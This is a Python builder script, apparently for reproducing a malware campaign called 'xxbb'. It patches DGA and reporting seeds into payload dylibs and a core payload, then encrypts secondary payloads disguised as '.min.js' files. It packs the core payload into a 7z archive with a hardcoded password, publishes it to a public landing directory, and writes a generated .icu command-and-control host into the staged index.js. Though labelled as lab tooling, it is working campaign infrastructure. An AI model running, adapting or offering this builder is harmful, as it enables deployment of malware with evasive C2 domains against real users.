664 lines
23 KiB
Python
664 lines
23 KiB
Python
#!/usr/bin/env python3
|
|
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
|
|
|
|
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
|
|
|
|
Artifact layout:
|
|
{artifact-root}/details/ served landing /details/
|
|
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
|
|
|
|
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
|
1. both --deployment-seed and --reporting-seed
|
|
2. else {state-root}/lab_seeds.json
|
|
3. else random generate + write lab_seeds.json
|
|
|
|
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import secrets
|
|
import shutil
|
|
from datetime import datetime, timezone
|
|
from pathlib import Path
|
|
|
|
from _details_pack import extract_member, make_passworded_7z
|
|
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
|
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
|
|
from reproduce_xxbb_dga import generate_domains
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
BUILDER_ROOT = TOOLS.parent
|
|
PROJECT_ROOT = BUILDER_ROOT.parent
|
|
|
|
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
|
|
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
|
|
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
|
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
|
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
|
LAB_SEEDS_NAME = "lab_seeds.json"
|
|
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
|
WEIFILE_ROOT = "weifile"
|
|
DETAILS_ROOT = "details"
|
|
LANDING_NAME = "weifile.html"
|
|
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
|
|
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
|
|
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
|
|
CORE_WIRE_NAME = "corepayload.js"
|
|
CORE_MEMBER_NAME = "corepayload.dylib"
|
|
SHOW_WIRE_NAME = "show.html"
|
|
SHOW_MEMBER_NAME = "data.bin"
|
|
CORE_C_EXPECT = 6
|
|
DGA_COUNT = 5
|
|
|
|
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
|
|
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
|
|
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
|
|
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
|
|
|
RESERVED_CHANNEL_NAMES = frozenset(
|
|
{
|
|
"admin",
|
|
"user",
|
|
"api",
|
|
"web",
|
|
"sync",
|
|
"details",
|
|
"weifile",
|
|
"hooks",
|
|
"link",
|
|
"statistic",
|
|
"vhx",
|
|
"event",
|
|
"log",
|
|
"storage",
|
|
"build",
|
|
"hot",
|
|
"vendor",
|
|
"css",
|
|
"js",
|
|
"up",
|
|
"index",
|
|
"assets",
|
|
"static",
|
|
"source",
|
|
"channel",
|
|
"out",
|
|
"t",
|
|
"nb",
|
|
"a",
|
|
"u",
|
|
"m",
|
|
"uj",
|
|
"us",
|
|
"ub",
|
|
"ba",
|
|
"result",
|
|
"favicon",
|
|
"robots",
|
|
"sitemap",
|
|
"public",
|
|
"app",
|
|
"bootstrap",
|
|
"config",
|
|
"database",
|
|
"resources",
|
|
"routes",
|
|
"tests",
|
|
"artisan",
|
|
"livewire",
|
|
"sanctum",
|
|
"telescope",
|
|
"horizon",
|
|
"pulse",
|
|
}
|
|
)
|
|
|
|
|
|
def pack_ascii32(name: str, value: str) -> bytes:
|
|
data = value.encode("ascii")
|
|
if len(data) > 32:
|
|
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
|
|
if not data:
|
|
raise SystemExit(f"{name} must be non-empty")
|
|
return data + b"\x00" * (32 - len(data))
|
|
|
|
|
|
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
|
|
count = 0
|
|
start = 0
|
|
while True:
|
|
index = buf.find(old, start)
|
|
if index < 0:
|
|
break
|
|
buf[index : index + 32] = new32
|
|
count += 1
|
|
start = index + 32
|
|
if count != expect:
|
|
raise SystemExit(
|
|
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
|
|
f"count={count} (want {expect}). Already patched?"
|
|
)
|
|
return count
|
|
|
|
|
|
def sha256_hex(data: bytes) -> str:
|
|
return hashlib.sha256(data).hexdigest()
|
|
|
|
|
|
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"}
|
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
|
|
|
|
|
def load_keys() -> dict:
|
|
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
|
|
meta = json.loads(SECONDARY_KEYS.read_text())
|
|
helper_hex = meta.get("helper_key")
|
|
if not isinstance(helper_hex, str) or not helper_hex:
|
|
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
|
|
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
|
|
try:
|
|
discovered = discover_secondary_stems(
|
|
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
|
|
)
|
|
except Exception as exc:
|
|
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
|
|
|
|
hash_to_group: dict[str, str] = {}
|
|
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
|
|
digest = sha256_hex(path.read_bytes())
|
|
group = path.name.split("_")[1]
|
|
if digest in hash_to_group and hash_to_group[digest] != group:
|
|
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
|
|
hash_to_group[digest] = group
|
|
if not hash_to_group:
|
|
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
|
|
|
|
stems: dict[str, dict] = {}
|
|
for stem, info in discovered.items():
|
|
group = hash_to_group.get(info["sha256"])
|
|
if not group:
|
|
raise SystemExit(
|
|
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
|
|
)
|
|
stems[stem] = {"key": info["key"], "group": group}
|
|
if not stems:
|
|
raise SystemExit("discovered zero type-0x01 secondaries")
|
|
meta["stems"] = stems
|
|
return meta
|
|
|
|
|
|
def group_dylib_path(group: str) -> Path:
|
|
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
|
|
if len(files) != 1:
|
|
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
|
|
return files[0]
|
|
|
|
|
|
def patch_dylib(
|
|
data: bytes,
|
|
*,
|
|
deployment_seed: str,
|
|
reporting_seed: str,
|
|
channel_c: str,
|
|
label: str,
|
|
) -> bytes:
|
|
buf = bytearray(data)
|
|
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
|
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
|
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
|
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
|
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
|
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
|
raise SystemExit(f"{label}: original c still present")
|
|
return bytes(buf)
|
|
|
|
|
|
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
|
|
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
|
|
buf = bytearray(data)
|
|
replace_slot(
|
|
buf,
|
|
ORIGINAL_C.encode("ascii"),
|
|
pack_ascii32("--channel-c", channel_c),
|
|
label=label,
|
|
expect=CORE_C_EXPECT,
|
|
)
|
|
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
|
raise SystemExit(f"{label}: original c still present")
|
|
if channel_c.encode("ascii") not in buf:
|
|
raise SystemExit(f"{label}: patched channel_c missing")
|
|
return bytes(buf)
|
|
|
|
|
|
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
|
|
doc = json.loads(config_bytes.decode("utf-8"))
|
|
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
|
raise SystemExit("show data.bin: missing core object")
|
|
core = doc["core"]
|
|
core["sha256"] = core_sha256
|
|
core["size"] = core_size
|
|
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
|
|
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
|
|
|
|
|
def build_details(
|
|
*,
|
|
channel_c: str,
|
|
out_dir: Path,
|
|
) -> dict:
|
|
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
|
|
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
|
|
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
|
|
if not src_core.is_file() or not src_show.is_file():
|
|
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
|
|
|
|
member, core_plain = extract_member(src_core.read_bytes())
|
|
if member != CORE_MEMBER_NAME:
|
|
raise SystemExit(f"unexpected core member name: {member!r}")
|
|
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
|
|
core_digest = sha256_hex(patched_core)
|
|
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
|
|
|
|
show_member, show_plain = extract_member(src_show.read_bytes())
|
|
if show_member != SHOW_MEMBER_NAME:
|
|
raise SystemExit(f"unexpected show member name: {show_member!r}")
|
|
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
|
|
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
|
|
|
|
wires = out_dir / "details_wires"
|
|
wires.mkdir(parents=True, exist_ok=True)
|
|
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
|
|
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
|
|
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
|
|
|
|
return {
|
|
"core_sha256": core_digest,
|
|
"core_size": len(patched_core),
|
|
"core_wire_size": len(core_wire),
|
|
"show_wire_size": len(show_wire),
|
|
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
|
|
}
|
|
|
|
|
|
def normalize_channel_code(value: str) -> str:
|
|
code = (value or "").strip().upper()
|
|
if not CHANNEL_CODE_RE.fullmatch(code):
|
|
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
|
|
if code.lower() in RESERVED_CHANNEL_NAMES:
|
|
raise SystemExit(f"--channel-code {code!r} is reserved")
|
|
return code
|
|
|
|
|
|
def patch_index_js_host(text: str, host: str) -> str:
|
|
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
|
|
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
|
|
if not XXBB_DGA_HOST_RE.fullmatch(host):
|
|
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
|
|
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
|
|
|
|
|
|
def new_channel_c() -> str:
|
|
while True:
|
|
value = gen_seed()
|
|
if value != SEVEN_ZIP_PASSWORD:
|
|
return value
|
|
|
|
|
|
def copy_tree(src: Path, dst: Path) -> None:
|
|
if dst.exists():
|
|
shutil.rmtree(dst)
|
|
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
|
|
|
|
|
def gen_seed() -> str:
|
|
return secrets.token_hex(16)
|
|
|
|
|
|
def utc_now() -> str:
|
|
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
|
|
|
|
|
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
|
|
"""First 5 hosts each native shared pool will try.
|
|
|
|
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
|
|
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
|
|
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
|
|
"""
|
|
del dep, rep
|
|
hosts = generate_domains(channel_c, count)
|
|
return {"deployment": hosts, "reporting": list(hosts)}
|
|
|
|
|
|
def load_lab_seeds(path: Path) -> dict | None:
|
|
if not path.is_file():
|
|
return None
|
|
doc = json.loads(path.read_text())
|
|
if not isinstance(doc, dict):
|
|
raise SystemExit(f"invalid {path}: not an object")
|
|
dep = doc.get("deployment_seed")
|
|
rep = doc.get("reporting_seed")
|
|
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
|
|
raise SystemExit(f"invalid {path}: missing seeds")
|
|
return doc
|
|
|
|
|
|
def write_lab_seeds(
|
|
path: Path,
|
|
*,
|
|
dep: str,
|
|
rep: str,
|
|
channel_c: str,
|
|
domains: dict,
|
|
existing: dict | None,
|
|
) -> dict:
|
|
now = utc_now()
|
|
doc = {
|
|
"schema_version": 1,
|
|
"mode": "dga",
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"channel_c": channel_c,
|
|
"dga_count": DGA_COUNT,
|
|
"domains": domains,
|
|
"created_at": (existing or {}).get("created_at") or now,
|
|
"updated_at": now,
|
|
}
|
|
path.parent.mkdir(parents=True, exist_ok=True)
|
|
path.write_text(json.dumps(doc, indent=2) + "\n")
|
|
return doc
|
|
|
|
|
|
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
|
|
if len(dep_list) < 1 or len(rep_list) < 1:
|
|
return False
|
|
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
|
|
|
|
|
|
def _domains_from_existing(
|
|
existing: dict | None, dep: str, rep: str, channel_c: str
|
|
) -> tuple[dict, bool]:
|
|
"""Return (domains, newly_computed)."""
|
|
expected = compute_domains(dep, rep, channel_c)
|
|
raw = (existing or {}).get("domains") if existing else None
|
|
if isinstance(raw, dict):
|
|
dep_list = raw.get("deployment")
|
|
rep_list = raw.get("reporting")
|
|
if (
|
|
isinstance(dep_list, list)
|
|
and isinstance(rep_list, list)
|
|
and _looks_like_xxbb_domains(dep_list, rep_list)
|
|
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
|
|
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
|
|
):
|
|
return expected, False
|
|
return expected, True
|
|
|
|
|
|
def resolve_seeds(
|
|
*,
|
|
lab_seeds_path: Path,
|
|
cli_dep: str | None,
|
|
cli_rep: str | None,
|
|
cli_c: str | None,
|
|
random_c: bool = False,
|
|
) -> tuple[str, str, str, dict, bool]:
|
|
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
|
if bool(cli_dep) ^ bool(cli_rep):
|
|
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
|
if random_c and (cli_c or "").strip():
|
|
raise SystemExit("use either --channel-c or --random-c, not both")
|
|
|
|
existing = load_lab_seeds(lab_seeds_path)
|
|
if random_c:
|
|
channel_c = new_channel_c()
|
|
elif (cli_c or "").strip():
|
|
channel_c = cli_c.strip()
|
|
elif existing and existing.get("channel_c"):
|
|
channel_c = str(existing["channel_c"])
|
|
else:
|
|
channel_c = new_channel_c()
|
|
pack_ascii32("--channel-c", channel_c)
|
|
if channel_c == SEVEN_ZIP_PASSWORD:
|
|
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
|
|
|
if cli_dep and cli_rep:
|
|
dep = cli_dep.strip()
|
|
rep = cli_rep.strip()
|
|
pack_ascii32("--deployment-seed", dep)
|
|
pack_ascii32("--reporting-seed", rep)
|
|
if dep != rep:
|
|
raise SystemExit("deployment and reporting seeds must match")
|
|
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
|
|
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
|
if computed or existing.get("channel_c") != channel_c:
|
|
write_lab_seeds(
|
|
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
|
)
|
|
return dep, rep, channel_c, domains, computed and existing is not None
|
|
domains = compute_domains(dep, rep, channel_c)
|
|
write_lab_seeds(
|
|
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
|
)
|
|
return dep, rep, channel_c, domains, existing is None
|
|
|
|
if existing:
|
|
dep = str(existing["deployment_seed"])
|
|
rep = str(existing["reporting_seed"])
|
|
pack_ascii32("--deployment-seed", dep)
|
|
pack_ascii32("--reporting-seed", rep)
|
|
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
|
if computed:
|
|
write_lab_seeds(
|
|
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
|
)
|
|
return dep, rep, channel_c, domains, computed
|
|
|
|
dep = gen_seed()
|
|
rep = dep
|
|
domains = compute_domains(dep, rep, channel_c)
|
|
write_lab_seeds(
|
|
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
|
|
)
|
|
return dep, rep, channel_c, domains, True
|
|
|
|
|
|
def default_state_root() -> Path:
|
|
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
|
|
|
|
|
|
def default_artifact_root() -> Path:
|
|
return PROJECT_ROOT / "public"
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
|
|
)
|
|
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
|
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
|
parser.add_argument(
|
|
"--channel-c",
|
|
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
|
|
)
|
|
parser.add_argument(
|
|
"--random-c",
|
|
action="store_true",
|
|
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
|
|
)
|
|
parser.add_argument(
|
|
"--artifact-root",
|
|
type=Path,
|
|
default=PROJECT_ROOT / "public",
|
|
help="directory that will contain details/ (default: ../public)",
|
|
)
|
|
parser.add_argument(
|
|
"--state-root",
|
|
type=Path,
|
|
default=None,
|
|
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
|
|
)
|
|
parser.add_argument(
|
|
"--out",
|
|
type=Path,
|
|
help="intermediate .min.js / dylibs (default: <state-root>/out)",
|
|
)
|
|
parser.add_argument(
|
|
"--apply",
|
|
action="store_true",
|
|
help="write {artifact}/details/ and {state}/out/weifile/",
|
|
)
|
|
parser.add_argument(
|
|
"--force",
|
|
action="store_true",
|
|
help="replace existing details/ and staged weifile (default with --apply)",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
state_root = (args.state_root or default_state_root()).resolve()
|
|
state_root.mkdir(parents=True, exist_ok=True)
|
|
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
|
|
lab_seeds_path=state_root / LAB_SEEDS_NAME,
|
|
cli_dep=args.deployment_seed,
|
|
cli_rep=args.reporting_seed,
|
|
cli_c=args.channel_c,
|
|
random_c=args.random_c,
|
|
)
|
|
|
|
meta = load_keys()
|
|
stems = meta["stems"]
|
|
groups = sorted({info["group"] for info in stems.values()})
|
|
|
|
patched: dict[str, bytes] = {}
|
|
for group in groups:
|
|
path = group_dylib_path(group)
|
|
data = patch_dylib(
|
|
path.read_bytes(),
|
|
deployment_seed=dep,
|
|
reporting_seed=rep,
|
|
channel_c=channel_c,
|
|
label=path.name,
|
|
)
|
|
patched[group] = data
|
|
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
|
|
|
out = args.out
|
|
if out is None:
|
|
out = state_root / "out"
|
|
out = out.resolve()
|
|
out.mkdir(parents=True, exist_ok=True)
|
|
(out / "dylibs").mkdir(exist_ok=True)
|
|
for group, data in patched.items():
|
|
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
|
|
|
|
built = []
|
|
for stem, info in stems.items():
|
|
group = info["group"]
|
|
key = bytes.fromhex(info["key"])
|
|
wire = encrypt_secondary_minjs(patched[group], key)
|
|
check = decrypt_secondary_minjs(wire, key)
|
|
if check != patched[group]:
|
|
raise SystemExit(f"round-trip failed for {stem}")
|
|
dest = out / f"{stem}.min.js"
|
|
dest.write_bytes(wire)
|
|
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
|
|
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
|
|
|
details_meta = build_details(channel_c=channel_c, out_dir=out)
|
|
print(
|
|
f"corepayload: patched c hits={details_meta['core_c_hits']} "
|
|
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
|
)
|
|
|
|
weifile_path = None
|
|
details_path = ""
|
|
staged_weifile = ""
|
|
iptj_host = ""
|
|
|
|
if args.apply:
|
|
artifact = args.artifact_root.resolve()
|
|
dest_details = artifact / DETAILS_ROOT
|
|
dest_weifile = state_root / "out" / WEIFILE_ROOT
|
|
if not SOURCE_WEIFILE.is_dir():
|
|
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
|
if not SOURCE_DETAILS.is_dir():
|
|
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
|
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
|
landing = dest_weifile / LANDING_NAME
|
|
if not landing.is_file():
|
|
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
|
copy_tree(SOURCE_DETAILS, dest_details)
|
|
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
|
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
|
for item in built:
|
|
src = out / f"{item['stem']}.min.js"
|
|
dst = dest_weifile / src.name
|
|
shutil.copy2(src, dst)
|
|
print(f"applied -> {dst}")
|
|
hosts = list(domains.get("deployment") or [])
|
|
if not hosts:
|
|
raise SystemExit("no DGA domains computed from channel_c")
|
|
iptj_host = hosts[0]
|
|
index_path = dest_weifile / "index.js"
|
|
if not index_path.is_file():
|
|
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
|
|
index_path.write_text(
|
|
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
|
|
encoding="utf-8",
|
|
)
|
|
print(f"staged weifile -> {dest_weifile}")
|
|
print(f"applied details -> {dest_details}")
|
|
print(f"index.js iptj host -> {iptj_host}")
|
|
details_path = f"/{DETAILS_ROOT}/"
|
|
staged_weifile = str(dest_weifile)
|
|
|
|
print(f"XXBB_CHANNEL_C={channel_c}")
|
|
print("deployment domains:")
|
|
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
|
print(f" {i:03d} {domain}")
|
|
print("reporting domains:")
|
|
for i, domain in enumerate(domains.get("reporting") or [], 1):
|
|
print(f" {i:03d} {domain}")
|
|
|
|
result = {
|
|
"campaign": "xxbb",
|
|
"builder_type": "new",
|
|
"weifile_path": weifile_path,
|
|
"support_path": None,
|
|
"details_path": details_path or None,
|
|
"staged_weifile": staged_weifile or None,
|
|
"iptj_host": iptj_host or None,
|
|
"seeds_initialized": seeds_initialized,
|
|
"sync_rebuilt": bool(args.apply),
|
|
"domains": domains,
|
|
"seeds": {
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"channel_c": channel_c,
|
|
},
|
|
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
|
"files": built,
|
|
"stem_count": len(built),
|
|
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
|
"details": details_meta,
|
|
"notes": [
|
|
"secondary + corepayload c patched; domains follow channel_c DGA",
|
|
"details published to /details/; weifile staged under state-root/out/weifile",
|
|
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
|
|
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
|
],
|
|
}
|
|
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
|
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|